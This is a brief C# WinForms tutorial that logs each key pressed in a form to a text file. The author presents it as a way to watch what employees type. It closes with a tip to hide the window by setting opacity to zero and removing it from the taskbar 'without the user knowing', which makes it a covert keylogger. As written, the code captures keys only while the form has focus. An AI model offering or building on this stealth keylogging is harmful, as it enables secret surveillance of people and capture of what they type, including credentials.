Overview

In this article, I'll explain an easy but an important concept of how to catch user pressed keys and write them into a log file.

Description

Often you need to know what kind of key combination your final user has pressed, to know
if theyre doing the things in the right way, or just to know what theyre writing as they are using the computer. Once, one client asked me to monitor the activity of his employees, to see if they were working when he was away.

Obviously I cant write an example like that, I dont have enough room, but I reckon that
this
example will be useful to understand how to write a more difficult one.

We need a form, just put a listbox, just to see whats happening.




now lets
set the KeyPreview Property of the form on true, so that well be able to catch keys.



ok, now lets write some code
in
the KeyUp Event.

private void Form1_KeyUp(object sender, System.Windows.Forms.KeyEventArgs e)
{
listBox1.Items.Add(e.KeyCode);
StreamWriter sw =
new StreamWriter(@"C:\Prova.txt",true);
sw.Write(e.KeyCode);
sw.Close();
}

listBox1.Items.Add(e.KeyCode);

this line of code is to see keys pressed in the listbox;

then lets write the pressed keys
in
a text file:

//Open or Create the file if doesnt exist
StreamWriter sw = new StreamWriter(@"C:\Prova.txt",true);
//Write into the file
sw.Write(e.KeyCode);
//Close the file.
sw.Close();

Finally, I have a very good tip
in order to use the application, without the user knowing.

We need to
set the Opacity Property of the form on 0%, and to set ShowInTaskBar on False otherwise the user will know something is
up.

Before:



after:

Enjoy !!!

Next Recommended Readings